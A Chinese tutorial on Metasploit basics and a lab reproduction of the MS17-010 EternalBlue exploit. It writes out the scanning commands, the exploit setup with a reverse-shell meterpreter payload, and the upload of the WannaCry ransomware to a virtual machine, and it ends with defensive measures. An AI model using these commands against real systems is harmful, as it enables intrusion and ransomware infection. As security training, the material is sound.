Metasploit技术之基础用法详解及MS17-010漏洞复现
本文将带领大家了解Metasploit技术,并结合作者之前的漏洞利用及WannaCry逆向经验总结。同时本文学习了徐焱老师他们的《Web安全攻防渗透测试实战指南》,在此感谢。具体内容包括:
文章目录:
一.Metasploit简介
二.Metasploit基础普及
1.专业术语
2.渗透步骤及攻击链
三.主机扫描
1.使用辅助模块进行端口扫描
2.使用辅助模块进行服务扫描
3.使用Nmap扫描
四.漏洞利用之MS17-010案例
1.背景知识
2.漏洞利用复现
3.防御措施
一.Metasploit简介
Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发、代码审计、Web应用程序扫描、社会工程等。
Metasploit框架(Metasploit Framework,MSF)是一个开源工具,旨在方便渗透测试,它是由Ruby程序语言编写的模板化框架,具有很好的扩展性,便于渗透测试人员开发、使用定制的工具模板。Metasploit已成为当前信息安全与渗透测试领域最流行的术语。
Metasploit可向后端模块提供多种用来控制测试的接口,如控制台、Web、CLI。推荐使用控制台接口,通过控制台接口可以访问和使用所有Metasploit的插件,如Payload、利用模块、Post模块等。Metasploit还有第三方程序的接口,比如Nmap、SQLMap等,可以直接在控制台接口使用。
当H.D. Moore在2003年发布Metasploit时,计算机安全状况也被永久性地改变了。仿佛一夜之间,任何人都可以成为黑客,每个人都可以使用攻击工具来攻击那些未打过补丁或者刚刚打过补丁的漏洞。软件厂商再也不能推迟发布针对已公布漏洞的补丁,这是因为Metasploit团队一直都在努力开发各种攻击工具,并将它们贡献给所有Metasploit用户。
https://www.rapid7.com/products/metasploit/download/
这篇文章主要以Kali系统为基础,该操作系统预装了Metasploit,访问该界面,需要在命令行下输入 msfconsole
,MSF的启动界面如下图所示。
msfconsole
在使用Kali操作系统时应注意及时更新资源,就像平时更新手机APP一样。更新命令主要包括:
apt-get update
只更新软件包的索引源,作用是同步源的软件包的索引信息,从而进行软件更新apt-get upgrade
升级系统上安装的所有软件包apt-get dist-upgrade
升级整个Linux系统
二.Metasploit基础普及
1.专业术语
MSF框架由多个模块组成,各个模块的功能如下,这也是Web渗透的基础术语。
(1) Auxiliaries:辅助模块
该模块不会直接在测试者和目标主机之间建立访问,它们只负责执行扫描、嗅探、指纹识别等相关功能以辅助渗透测试。
(2) Exploit:漏洞利用模块
漏洞利用是指由渗透测试者利用一个系统、应用或服务中的安全漏洞进行的攻击行为。流行的渗透攻击技术包括:
缓冲区溢出
Web应用程序攻击
利用配置错误
其中包含攻击者或渗透人员针对系统中的漏洞而设计的各种POC验证程序,用于破坏系统安全性的攻击代码,每个漏洞都有相应的攻击代码。
(3) Payload:攻击载荷模块
攻击载荷是我们期望目标系统在被渗透攻击之后完成实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令或者执行特定代码,在Metasploit框架中可以自由地选择、传送和植入。攻击载荷也可能是简单地目标操作系统上执行一些命令,如添加用户账号等。
(4) Post:后期渗透模块
该模块主要用于取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息、实施跳板攻击等。
(5) Encoders:编码工具模块
该模块在渗透测试中负责免杀,以防止被杀毒软件、防火墙、IDS及类似的安全软件检测出来。
2.渗透步骤及攻击链
使用MSF渗透测试时,可以综合使用以上模块,对目标系统进行侦查并发动攻击,大致的步骤如下所示:
扫描目标主机系统,寻找可用漏洞
选择并配置一个漏洞利用模块
选择并配置一个攻击载荷模块
选择一个编码技术,用来绕过杀毒软件的查杀
渗透攻击
注意,实战才是最好的老师,希望大家了解MSF基础用法后,在一些靶场或授权网站上进行渗透测试。同时,为了方便大家理解渗透流程,作者回顾下之前介绍的攻击链。攻击链通常分为七个阶段:
侦查目标(Reconnaissance):侦查目标,充分利用社会工程学了解目标网络。
制作工具(Weaponization):主要是指制作定向攻击工具,例如带有恶意代码的pdf文件或office文件。
传送工具(Delivery):输送攻击工具到目标系统上,常用的手法包括邮件的附件、网站(挂马)、U盘等。
触发工具(Exploitation):利用目标系统的应用或操作系统漏洞,在目标系统触发攻击工具运行。
安装木马(Installation):远程控制程序(特马)的安装,使得攻击者可以长期潜伏在目标系统中。
建立连接(Command and Control):与互联网控制器服务器建立一个C2信道。
执行攻击(Actions on Objectives):执行所需要的攻击行为,例如偷取信息、篡改信息。
三.主机扫描
扫描和收集信息是渗透测试的第一步,其主要目标是尽可能多地发现有关目标机器的信息。获取的信息越多,渗透的概率越大。该步骤主要的关注点是:
目标主机IP地址
可用服务
开放端口
1.使用辅助模块进行端口扫描
辅助模块是Metasploit的内置模块。
第一步,利用search命令搜索有哪些可用端口模块。
search portscan
从下图中可以看到可用的扫描器列表,其中包含了各种扫描类型。
第二步,以TCP扫描模块为例。输入use命令使用该漏洞利用模块,然后show options查看需要设置的参数。
use auxiliary/scanner/portscan/tcp
show options
输入命令时,按下tab键会自动补齐,输出结果如下图所示。在Required列中,被标记为yes的参数必须包含实际的值,其中:
RHOSTS - 设置待扫描的IP地址
PORTS - 设置扫描端口范围
THREDAS - 设置扫描线程,线程数越高,扫描的速度越多
第三步,使用set命令设置相应参数,查看目标主机开放端口。
当然,也可以使用unset命令取消某个参数值的设置。这里的目标主机是XP系统,其IP地址为 192.168.44.135
。
具体命令如下,可以看到目标主机开了 135、139、445
三个端口。
set RHOSTS 192.168.44.135set PORTS 1-500set THREADS 20show optionsrun
输出结果如下图所示。还有两个可选命令,setg和unsetg,二者用于在msfconsole中设置或取消设置全局性的参数值,从而避免重复输入相同的值。
2.使用辅助模块进行服务扫描
在扫描目标机器上运行的服务时,有多种基于服务的扫描技术可供选择,例如VNC、FTP、SMB等,只需执行特定类型的扫描就可以发现服务。
通过 search
命令搜索 scanner
可以发现大量的扫描模块,读者可以尝试不同的辅助扫描模块,了解其功能。使用步骤和使用端口扫描模块时基本相同,后续文章也会陆续介绍不同的用法。
常用的扫描模块包括:
(1) 端口扫描
auxiliary/scanner/portscan
端口扫描
(2) SMB扫描
auxiliary/scanner/smb/smb_version
SMB系统版本扫描
auxiliary/scanner/smb/smb_enumusers
SMB枚举
auxiliary/scanner/smb/smb_login
SMB弱口令扫描
auxiliary/scanner/smb/psexec_command
SMB登录执行命令
(3) SSH扫描
auxiliary/scanner/ssh/ssh_login
SSH登录测试
(4) MSSQL扫描
scanner/mssql/mssql_ping
MSSQL主机信息扫描
admin/mssql/mssql_enum
MSSQL枚举
admin/mssql/mssql_exec
MSSQL执行命令
admin/mssql/mssql_sql
MSSQL查询
admin/mssql/mssql_login
MSSQL弱口令扫描
(5) MySQL扫描
auxiliary/admin/mysql/mssql_enum
MySQL枚举
auxiliary/admin/mysql/mssql_sql
MySQL语句执行
auxiliary/scanner/mysql/mssql_login
MySQL弱口令扫描
(6) SMTP扫描
auxiliary/scanner/smtp/smtp_version
SMTP版本扫描
auxiliary/scanner/smtp/smtp_enum
SMTP枚举
(7) 其他
auxiliary/scanner/snmp/community
SNMP扫描设备
auxiliary/scanner/telnet/telnet_login
Telnet登录
scanner/vnc/vnc_none_auth
VNC空口令扫描
3.使用Nmap扫描
在Metasploit中同样可以使用Nmap扫描,Nmap不仅可以用来确定目标网络上计算机的存活状态,而且可以扫描计算机的操作系统、开放端口、服务等。熟练掌握Nmap的用法可以极大地提高个人的渗透测试技术。
实际上,在msf命令提示符下输入nmap,就可以显示Nmap提供的扫描选项列表,如下图所示:
我们要获取目标主机的操作系统,则输入 nmap -O -Pn/-p0 URI
命令,其中Pn和-p0参数是不使用ping的方式,而假定所有主机系统都是活动的,可以穿透防火墙,也可以避免防火墙发现。运行如下图所示:
nmap -O -Pn 192.168.44.135
输出结果如下图所示,可以看到目标主机的操作系统如下,后续作者会详细写一篇文章介绍Nmap的用法。
Windows 2000 | XP
四.漏洞利用MS17-010案例
每个操作系统都会存在各种漏洞,像微公司会快速针对漏洞进行打补丁,供用户提供更新。而没有公布补丁的Bug就是所谓的0day漏洞,其危害极大,也很受黑客和安全人员的喜爱。
实际上,像微软这样的公司都会针对自己的产品定期发布补丁,但是否下载取决于用户自身。由于安全意识薄弱的个人或中小企业往往会忽略这些工作,打补丁可能会影响平时的工作,这种1day漏洞所造成的伤害也非常严重。
下面我们对Windows XP系统进行MS17-010漏洞的复现,前面我通过四篇文章逆向WannaCry时,详细复现过该漏洞,希望大家喜欢。
[网络安全自学篇] WannaCry蠕虫传播机制全网源码详细解读
1.背景知识
2017年5月12日,WannaCry蠕虫通过永恒之蓝MS17-010漏洞在全球范围大爆发,感染大量的计算机。WannaCry勒索病毒全球大爆发,至少150个国家、30万名用户中招,造成损失达80亿美元,已影响金融、能源、医疗、教育等众多行业,造成严重的危害。
WannaCry是一种“蠕虫式”勒索病毒软件,由不法分子利用NSA泄露方程式工具包的危险漏洞“EternalBlue”(永恒之蓝)进行传播。该蠕虫感染计算机后会向计算机中植入敲诈者病毒,导致电脑大量文件被加密。
WannaCry利用Windows系统的SMB漏洞获取系统的最高权限,该工具通过恶意代码扫描开放445端口的Windows系统。被扫描到的Windows系统,只要开机上线,不需要用户进行任何操作,即可通过SMB漏洞上传WannaCry勒索病毒等恶意程序。
WannaCry利用永恒之蓝漏洞进行网络端口扫描攻击,目标机器被成功攻陷后会从攻击机下载WannaCry蠕虫进行感染,并作为攻击机再次扫描互联网和局域网的其他机器,形成蠕虫感染大范围超快速扩散。其核心流程如下图所示:
WannaCry勒索病毒主要行为是传播和勒索。
传播:利用基于445端口的SMB漏洞MS17-010(永恒之蓝)进行传播
勒索:释放文件,包括加密器、解密器、说明文件、语言文件等;加密文件;设置桌面背景、窗体信息及付款账号等。
2.漏洞利用复现
实验环境:
攻击机
Kali-linux-2019.2 IP:192.168.44.138
受害主机
WinXP 64位 IP:192.168.44.135
实验工具:
metasploit
MS17-010
Wcry.exe
实验步骤:
配置Windows XP、Kali实验环境
Kali检测受害主机445端口(SMB协议)是否开启
运行EternalBlue永恒之蓝漏洞(MS17-010)反弹shell
上传勒索病毒wcry.exe并运行实现勒索和文件加密(该文章不实现)
切记、切记、切记:实验复现过程中必须在虚拟机中完成,运行之前关闭虚拟机Win7文件共享,真机上一旦被感染你就真的只能想哭了(wannacry)。本文重在理解漏洞利用原理更好地保护我们的系统和网站。
第一步,保证攻击机和受害机相互通讯,均在同一个局域网中。
第二步,扫描靶机是否开启445端口。
nmap -sS 192.168.44.135
第三步,打开msfconsole并查询MS17-010漏洞模块。
这里有各种MS17-010漏洞版本,我们根据目标系统选择编号为3的版本。推荐读者看看NSA泄露的方程式工具包,其中永恒之蓝(eternalblue)就是著名的漏洞。
msfconsole
search ms17-010
第四步,利用永恒之蓝漏洞并设置参数。
use exploit/windows/smb/
ms17_010_eternalblue
利用永恒之蓝漏洞
set payload windows/x64/
meterpreter/reverse_tcp
设置payload
set LHOST 192.168.44.138
设置本机IP地址
set RHOSTS 192.168.44.135
设置受害主机IP
set RPORT 445
设置端口445,注意该端口共享功能是高危漏洞端口,包括之前分享的139、3389等
exploit
利用漏洞
通过 show options
可以查看设置的参数。
注意,这里Win7和Win XP系统设置略有区别。如果用Win7的模块去攻击XP系统,会造成计算机重启,攻击失败,如下图所示。
Windows XP设置的exp如下:
exploit/windows/smb/ms17_010_eternalblue
运行成功结果如下图所示:
第五步,成功获取Windows系统管理员权限。
pwd、ls
查看当前路径及目录
getuid
返回系统管理员权限
第六步,在目标主机上创建文件,尝试控制目标。
cd ..# 创建文件夹mkdir hacker# 访问目录dircd hacker# 创建文件并写入内容echo helloworld>test.txt# 查看目标系统的基本信息sysinfo
第七步,上传WannaCry。再次强调,虚拟机中运行该实验,并且关闭文件共享功能,同时蠕虫和漏洞利用分析是为了帮助大家了解原理进行防御。
shell
upload /root/wcry.exe c:\
运行病毒程序后的界面如下图所示,已经成功被勒索。再次强调,所有代码必须在虚拟机中执行,并且关闭文件共享。
WannaCry蠕虫加密系统中的文件,被加密的文件后缀名统一修改为“.WNCRY”。
b.wnry: 中招敲诈者后桌面壁纸
c.wnry: 配置文件,包含洋葱域名、比特币地址、tor下载地址等
f.wnry: 可免支付解密的文件列表
r.wnry: 提示文件,包含中招提示信息
s.wnry: zip文件,包含Tor客户端
t.wnry: 测试文件
u.wnry: 解密程序
3.防御措施
至此,我们已经成功利用了MS17-010漏洞实现入侵,其防御常见的措施如下:
开启系统防火墙
关闭445、139等端口连接
开启系统自动更新,下载并更新补丁,及时修复漏洞
为计算机安全最新补丁,微软已经发布补丁MS17-010修复该漏洞,读者也可以通过第三方工具下载补丁
安装安全软件,开启主动防御进行拦截查杀
如非服务需要,建议把高危漏洞的端口都关闭,比如 135、137、138、139、445、3389等
开启防火墙,及时备份重要文件
由于WannaCry等勒索病毒主要通过445端口入侵计算机,关闭的方法如下:
控制面板–>windows防火墙—>高级选项–>入站规则
新建规则–>选择端口–>指定端口号445
选择阻止连接–>配置文件全选–>规则名称–>成功关闭
实验在虚拟机中进行,也需要关闭共享文件夹功能,如下图所示。
五.总结
写到这里,这篇文章就介绍完毕,希望您喜欢,本文主要是学习徐焱老师他们的《Web安全攻防渗透测试实战指南》,同时结合作者之前的漏洞利用及WannaCry逆向经验总结。